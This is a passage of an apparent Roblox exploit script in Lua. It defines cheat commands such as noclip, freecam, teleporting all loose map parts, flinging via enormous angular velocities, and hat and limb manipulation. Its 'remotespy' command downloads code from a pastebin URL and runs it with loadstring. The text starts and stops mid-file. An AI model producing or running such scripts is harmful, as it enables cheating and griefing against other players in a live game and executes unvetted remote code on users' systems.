0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
1823
BAV.AngularVelocity = Vector3.new(9990000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000,9990000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000,9990000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
1824
end
1825
wait(.3)
1826
player.Torso.Anchored = false
1827
while wait(.3) do
1828
if handle:FindFirstChild("BP",true) then
1829
handle.CanCollide = false
1830
end
1831
BP.Position = game.Players.LocalPlayer.Character.HumanoidRootPart.Position + Vector3.new(0,y,0)
1832
wait(.3)
1833
if handle:FindFirstChild("BP",true) then
1834
handle.CanCollide = false
1835
end
1836
BP.Position = game.Players.LocalPlayer.Character.HumanoidRootPart.Position + Vector3.new(0,y2,0)
1837
end
1838
end
1839
end
1840
end)
1841
end
1842
end)
1843
1844
cmd.add({"bringunanchored"}, {"bringunanchored", "brings every unanchored part on the map"}, function()
1845
for _,v in pairs(workspace:GetDescendants()) do
1846
if v:IsA("BasePart") and v.Anchored==false then
1847
v.CFrame=game:GetService("Players").LocalPlayer.Character.Head.CFrame
1848
end
1849
end
1850
end)
1851
1852
cmd.add({"spin"}, {"spin <number>", "spins your character"}, function()
1853
1854
end)
1855
1856
cmd.add({"noclip", "nclip", "nc"}, {"noclip", "Disable your player's collision"}, function()
1857
if connections["noclip"] then lib.disconnect("noclip") return end
1858
lib.connect("noclip", RunService.Stepped:Connect(function()
1859
if not character then return end
1860
for i, v in pairs(character:GetDescendants()) do
1861
if v:IsA("BasePart") then
1862
v.CanCollide = false
1863
end
1864
end
1865
end))
1866
end)
1867
cmd.add({"clip", "c"}, {"clip", "Enable your player's collision"}, function()
1868
lib.disconnect("noclip")
1869
end)
1870
1871
cmd.add({"freecam", "fc", "fcam"}, {"freecam [speed]", "Enable free camera"}, function(speed)
1872
if not speed then speed = 5 end
1873
if connections["freecam"] then lib.disconnect("freecam") camera.CameraSubject = character wrap(function() character.PrimaryPart.Anchored = false end) end
1874
local dir = {w = false, a = false, s = false, d = false}
1875
local cf = Instance.new("CFrameValue")
1876
local camPart = Instance.new("Part")
1877
camPart.Transparency = 1
1878
camPart.Anchored = true
1879
camPart.CFrame = camera.CFrame
1880
wrap(function()
1881
character.PrimaryPart.Anchored = true
1882
end)
1883
1884
lib.connect("freecam", RunService.RenderStepped:Connect(function()
1885
local primaryPart = camPart
1886
camera.CameraSubject = primaryPart
1887
1888
local x, y, z = 0, 0, 0
1889
if dir.w then z = -1 * speed end
1890
if dir.a then x = -1 * speed end
1891
if dir.s then z = 1 * speed end
1892
if dir.d then x = 1 * speed end
1893
if dir.q then y = 1 * speed end
1894
if dir.e then y = -1 * speed end
1895
1896
primaryPart.CFrame = CFrame.new(
1897
primaryPart.CFrame.p,
1898
(camera.CFrame * CFrame.new(0, 0, -100)).p
1899
)
1900
1901
local moveDir = CFrame.new(x,y,z)
1902
cf.Value = cf.Value:lerp(moveDir, 0.2)
1903
primaryPart.CFrame = primaryPart.CFrame:lerp(primaryPart.CFrame * cf.Value, 0.2)
1904
end))
1905
lib.connect("freecam", UserInputService.InputBegan:Connect(function(input, event)
1906
if event then return end
1907
local code, codes = input.KeyCode, Enum.KeyCode
1908
if code == codes.W then
1909
dir.w = true
1910
elseif code == codes.A then
1911
dir.a = true
1912
elseif code == codes.S then
1913
dir.s = true
1914
elseif code == codes.D then
1915
dir.d = true
1916
elseif code == codes.Q then
1917
dir.q = true
1918
elseif code == codes.E then
1919
dir.e = true
1920
elseif code == codes.Space then
1921
dir.q = true
1922
end
1923
end))
1924
lib.connect("freecam", UserInputService.InputEnded:Connect(function(input, event)
1925
if event then return end
1926
local code, codes = input.KeyCode, Enum.KeyCode
1927
if code == codes.W then
1928
dir.w = false
1929
elseif code == codes.A then
1930
dir.a = false
1931
elseif code == codes.S then
1932
dir.s = false
1933
elseif code == codes.D then
1934
dir.d = false
1935
elseif code == codes.Q then
1936
dir.q = false
1937
elseif code == codes.E then
1938
dir.e = false
1939
elseif code == codes.Space then
1940
dir.q = false
1941
end
1942
end))
1943
end)
1944
cmd.add({"unfreecam", "unfc", "unfcam"}, {"unfreecam", "Disable free camera"}, function()
1945
lib.disconnect("freecam")
1946
camera.CameraSubject = character
1947
wrap(function()
1948
character.PrimaryPart.Anchored = false
1949
end)
1950
end)
1951
1952
cmd.add({"drophats"}, {"drophats", "Drop all of your hats"}, function()
1953
for _, hat in pairs(character:GetChildren()) do
1954
if hat:IsA("Accoutrement") then
1955
hat.Parent = workspace
1956
end
1957
end
1958
end)
1959
1960
cmd.add({"hatspin"}, {"hatspin <height>", "Make your hats spin"}, function(h)
1961
local head = character:FindFirstChild("Head")
1962
if not head then return end
1963
for _, hat in pairs(character:GetChildren()) do
1964
if hat:IsA("Accoutrement") and hat:FindFirstChild("Handle") then
1965
local handle = hat.Handle
1966
handle:BreakJoints()
1967
1968
local align = Instance.new("AlignPosition")
1969
local a0, a1 = Instance.new("Attachment"), Instance.new("Attachment")
1970
align.Attachment0, align.Attachment1 = a0, a1
1971
align.RigidityEnabled = true
1972
a1.Position = Vector3.new(0, tonumber(h) or 0.5, 0)
1973
lock(align, handle); lock(a0, handle); lock(a1, head);
1974
1975
local angular = Instance.new("BodyAngularVelocity")
1976
angular.AngularVelocity = Vector3.new(0, math.random(100, 160)/16, 0)
1977
angular.MaxTorque = Vector3.new(0, 400000, 0)
1978
lock(angular, handle);
1979
end
1980
end
1981
end)
1982
1983
cmd.add({"hatorbit"}, {"hatorbit [height] [distance]", "Make your hats orbit around your head"}, function(h, d)
1984
local head = character:FindFirstChild("Head")
1985
if not head then return end
1986
local i = 3
1987
for _, hat in pairs(character:GetChildren()) do
1988
if hat:IsA("Accoutrement") and hat:FindFirstChild("Handle") then
1989
local handle = hat.Handle
1990
handle:BreakJoints()
1991
1992
local align = Instance.new("AlignPosition")
1993
local a0, a1 = Instance.new("Attachment"), Instance.new("Attachment")
1994
align.Attachment0, align.Attachment1 = a0, a1
1995
align.RigidityEnabled = true
1996
lock(align, handle); lock(a0, handle); lock(a1, head);
1997
i = i + 0.5
1998
local n = tonumber(d) or i
1999
wrap(function()
2000
local rotX, rotY = 0, math.pi/2
2001
local speed = math.random(25, 100)/1000
2002
while handle and handle.Parent do
2003
rotX, rotY = rotX + speed, rotY + speed
2004
a1.Position = Vector3.new(math.sin(rotX) * (n), tonumber(h) or 0, math.sin(rotY) * (n))
2005
RunService.RenderStepped:Wait(0)
2006
end
2007
end)
2008
end
2009
end
2010
end)
2011
2012
cmd.add({"limbbounce"}, {"limbbounce [height] [distance]", "Make your limbs bounce around your head"}, function(h, d)
2013
local head = character:FindFirstChild("Head")
2014
if not head then return end
2015
local i = 2
2016
for _, part in pairs(character:GetDescendants()) do
2017
local name = part.Name:lower()
2018
if part:IsA("BasePart") and not part.Parent:IsA("Accoutrement") and not name:find("torso") and not name:find("head") and not name:find("root") then
2019
i = i + math.random(15,50)/100
2020
part:BreakJoints()
2021
local n = tonumber(d) or i
2022
2023
local align = Instance.new("AlignPosition")
2024
local a0, a1 = Instance.new("Attachment"), Instance.new("Attachment")
2025
align.Attachment0, align.Attachment1 = a0, a1
2026
align.RigidityEnabled = true
2027
lock(align, part); lock(a0, part); lock(a1, head);
2028
2029
wrap(function()
2030
local rotX = 0
2031
local speed = math.random(350, 750)/10000
2032
while part and part.Parent do
2033
rotX = rotX + speed
2034
a1.Position = Vector3.new(0, (tonumber(h) or 0) + math.sin(rotX) * n, 0)
2035
RunService.RenderStepped:Wait(0)
2036
end
2037
end)
2038
end
2039
end
2040
end)
2041
2042
cmd.add({"limborbit"}, {"limborbit [height] [distance]", "Make your limbs orbit around your head"}, function(h, d)
2043
local head = character:FindFirstChild("Head")
2044
if not head then return end
2045
local i = 2
2046
for _, part in pairs(character:GetDescendants()) do
2047
local name = part.Name:lower()
2048
if part:IsA("BasePart") and not part.Parent:IsA("Accoutrement") and not name:find("torso") and not name:find("head") and not name:find("root") then
2049
i = i + math.random(15,50)/100
2050
part:BreakJoints()
2051
local n = tonumber(d) or i
2052
2053
local align = Instance.new("AlignPosition")
2054
local a0, a1 = Instance.new("Attachment"), Instance.new("Attachment")
2055
align.Attachment0, align.Attachment1 = a0, a1
2056
align.RigidityEnabled = true
2057
lock(align, part); lock(a0, part); lock(a1, head);
2058
2059
wrap(function()
2060
local rotX, rotY = 0, math.pi/2
2061
local speed = math.random(35, 75)/1000
2062
while part and part.Parent do
2063
rotX, rotY = rotX + speed, rotY + speed
2064
a1.Position = Vector3.new(math.sin(rotX) * (n), tonumber(h) or 0, math.sin(rotY) * (n))
2065
RunService.RenderStepped:Wait(0)
2066
end
2067
end)
2068
end
2069
end
2070
end)
2071
2072
local function getAllTools()
2073
local tools = {}
2074
local backpack = localPlayer:FindFirstChildWhichIsA("Backpack")
2075
if backpack then
2076
for i, v in pairs(backpack:GetChildren()) do
2077
if v:IsA("Tool") then
2078
table.insert(tools, v)
2079
end
2080
end
2081
end
2082
for i, v in pairs(character:GetChildren()) do
2083
if v:IsA("Tool") then
2084
table.insert(tools, v)
2085
end
2086
end
2087
return tools
2088
end
2089
2090
cmd.add({"ununanchoredfollow"}, {"ununanchoredfollow", "un does the unanchorfollow thing lol"}, function(h, d)
2091
lib.disconnect("unanchoredfollow")
2092
end)
2093
2094
cmd.add({"remotespy"}, {"remotespy", "executes remotespy"}, function()
2095
loadstring(game:HttpGet("https://pastebin.com/raw/BDhSQqUU", true))()
2096
end)
2097
2098
cmd.add({"circlemath", "cm"}, {"circlemath <mode> <size>", "Gay circle math\nModes: abc..."}, function(mode, size)
2099
local mode = mode or "a"
2100
local backpack = localPlayer:FindFirstChildWhichIsA("Backpack")
2101
lib.disconnect("cm")
2102
if backpack and character.Parent then
2103
local tools = getAllTools()
2104
for i, tool in pairs(tools) do
2105
local cpos, g = (math.pi*2)*(i/#tools), CFrame.new()
2106
local tcon = {}
2107
tool.Parent = backpack
2108
2109
if mode == "a" then
2110
size = tonumber(size) or 2
2111
g = (
2112
CFrame.new(0, 0, size)*
2113
CFrame.Angles(rad(90), 0, cpos)
2114
)
2115
elseif mode == "b" then
2116
size = tonumber(size) or 2
2117
g = (
2118
CFrame.new(i - #tools/2, 0, 0)*
2119
CFrame.Angles(rad(90), 0, 0)
2120
)
2121
elseif mode == "c" then
2122
size = tonumber(size) or 2
2123
g = (
2124
CFrame.new(cpos/3, 0, 0)*
2125
CFrame.Angles(rad(90), 0, cpos*2)
2126
)
2127
elseif mode == "d" then
2128
size = tonumber(size) or 2
2129
g = (
2130
CFrame.new(clamp(tan(cpos), -3, 3), 0, 0)*
2131
CFrame.Angles(rad(90), 0, cpos)
2132
)
2133
elseif mode == "e" then
2134
size = tonumber(size) or 2
2135
g = (
2136
CFrame.new(0, 0, clamp(tan(cpos), -5, 5))*
2137
CFrame.Angles(rad(90), 0, cpos)
2138
)
2139
end
2140
tool.Grip = g
2141
tool.Parent = character
2142
2143
tcon[#tcon] = lib.connect("cm", mouse.Button1Down:Connect(function()
2144
tool:Activate()
2145
end))
2146
tcon[#tcon] = lib.connect("cm", tool.Changed:Connect(function(p)
2147
if p == "Grip" and tool.Grip ~= g then
2148
tool.Grip = g
2149
end
2150
end))
2151
2152
lib.connect("cm", tool.AncestryChanged:Connect(function()
2153
for i = 1, #tcon do
2154
tcon[i]:Disconnect()
2155
end
2156
end))
2157
end
2158
end
2159
end)
2160
2161
local r = math.rad
2162
local center = CFrame.new(1.5, 0.5, -1.5)
2163
2164
cmd.add({"toolanimate"}, {"toolanimate <mode> <int>", "Make your tools epic\nModes: ufo/ring/shutter/saturn/portal/wtf/ball/tor"}, function(mode, int)
2165
lib.disconnect("tooldance")
2166
local int = tonumber(int) or 5
2167
local backpack = localPlayer:FindFirstChildWhichIsA("Backpack")
2168
local primary = character:FindFirstChild("HumanoidRootPart")
2169
if backpack and primary then
2170
local tools = getAllTools()
2171
for i, tool in pairs(tools) do
2172
if tool:IsA("Tool") and tool:FindFirstChild("Handle") then
2173
local circ = (i/#tools)*(math.pi*2)
2174
2175
local function editGrip(tool, cframe, offset)
2176
local origin = CFrame.new(cframe.p):inverse()
2177
local x, y, z = cframe:toEulerAnglesXYZ()
2178
local new = CFrame.Angles(x, y, z)
2179
local grip = (origin * new):inverse()
2180
tool.Parent = backpack
2181
tool.Grip = offset * grip
2182
tool.Parent = character
2183
2184
for i, v in pairs(tool:GetDescendants()) do
2185
if v:IsA("Sound") then
2186
v:Stop()
2187
end
2188
end
2189
end
2190
tool.Handle.Massless = true
2191
2192
if mode == "ufo" then
2193
local s = {}
2194
local x, y = i, i + math.pi / 2
2195
lib.connect("tooldance", RunService.Heartbeat:Connect(function()
2196
s.x = math.sin(x)
2197
s.y = math.sin(y)
2198
x, y = x + 0.1, y + 0.1
2199
2200
local cframe =
2201
center *
2202
CFrame.new() *
2203
CFrame.Angles(r(s.y*10), circ + r(s.y*8), r(s.x*10))
2204
local offset =
2205
CFrame.new(int, 0, 0) *
2206
CFrame.Angles(0, 0, 0)
2207
editGrip(tool, cframe, offset)
2208
end))
2209
elseif mode == "ring" then
2210
local s = {}
2211
local x, y = i, i + math.pi / 2
2212
lib.connect("tooldance", RunService.Heartbeat:Connect(function()
2213
s.x = math.sin(x)
2214
s.y = math.sin(y)
2215
x, y = x + 0.04, y + 0.04
2216
2217
local cframe =
2218
center *
2219
CFrame.new(0, 3, 0) *
2220
CFrame.Angles(0, circ, x)
2221
local offset =
2222
CFrame.new(0, 0, int) *
2223
CFrame.Angles(0, 0, 0)
2224
editGrip(tool, cframe, offset)
2225
end))
2226
elseif mode == "shutter" then
2227
local s = {}
2228
local x, y = 0, math.pi / 2
2229
lib.connect("tooldance", RunService.Heartbeat:Connect(function()
2230
s.x = math.sin(x)
2231
s.y = math.sin(y)
2232
x, y = x + 0.1, y + 0.1
2233
2234
local cframe =
2235
center *
2236
CFrame.new(0, 0, 0) *
2237
CFrame.Angles(0, 0, circ + 0)
2238
local offset =
2239
CFrame.new(s.y*6, 0, int) *
2240
CFrame.Angles(r(-90), 0, 0)
2241
editGrip(tool, cframe, offset)
2242
end))
2243
elseif mode == "saturn" then
2244
local s = {}
2245
local x, y = 0, math.pi / 2
2246
lib.connect("tooldance", RunService.Heartbeat:Connect(function()
2247
s.x = math.sin(x)
2248
s.y = math.sin(y)
2249
x, y = x + 0.1, y + 0.1
2250
local cframe =
2251
center *
2252
CFrame.new(0, 0, 0) *
2253
CFrame.Angles(0, circ, 0)
2254
local offset =
2255
CFrame.new(s.y*6, 0, int) *
2256
CFrame.Angles(0, 0, r(0))
2257
editGrip(tool, cframe, offset)
2258
end))
2259
elseif mode == "portal" then
2260
local s = {}
2261
local x, y = 0, math.pi / 2
2262
lib.connect("tooldance", RunService.Heartbeat:Connect(function()
2263
s.x = math.sin(x)
2264
s.y = math.sin(y)
2265
x, y = x + 0.1, y + 0.1
2266
2267
local cframe =
2268
center *
2269
CFrame.new(0, 0, 0) *
2270
CFrame.Angles(0, 0, circ + r(x*45))
2271
local offset =
2272
CFrame.new(3, 0, int) *
2273
CFrame.Angles(r(-90), 0, 0)
2274
editGrip(tool, cframe, offset)
2275
end))
2276
elseif mode == "ball" then
2277
local s = {}
2278
local n = math.random()*#tools
2279
local x, y = n, n+math.pi / 2
2280
local random = math.random()
2281
lib.connect("tooldance", RunService.Heartbeat:Connect(function()
2282
s.x = math.sin(x)
2283
s.y = math.sin(y)
2284
x, y = x + 0.1, y + 0.1
2285
local cframe =
2286
center *
2287
CFrame.new(0, 0, 0) *
2288
CFrame.Angles(r(y*25), circ, r(y*25))
2289
local offset =
2290
CFrame.new(0, int + random*2, 0) *
2291
CFrame.Angles(r(x*15), 0, 0)
2292
editGrip(tool, cframe, offset)
2293
end))
2294
elseif mode == "wtf" then
2295
local s = {}
2296
local x, y = math.random()^3, math.random()^3+math.pi / 2
2297
lib.connect("tooldance", RunService.Heartbeat:Connect(function()
2298
s.x = math.sin(x)
2299
s.y = math.sin(y)
2300
x, y = x + 0.1 + math.random()/10, y + 0.1 + math.random()/10
2301
local cframe =
2302
center *
2303
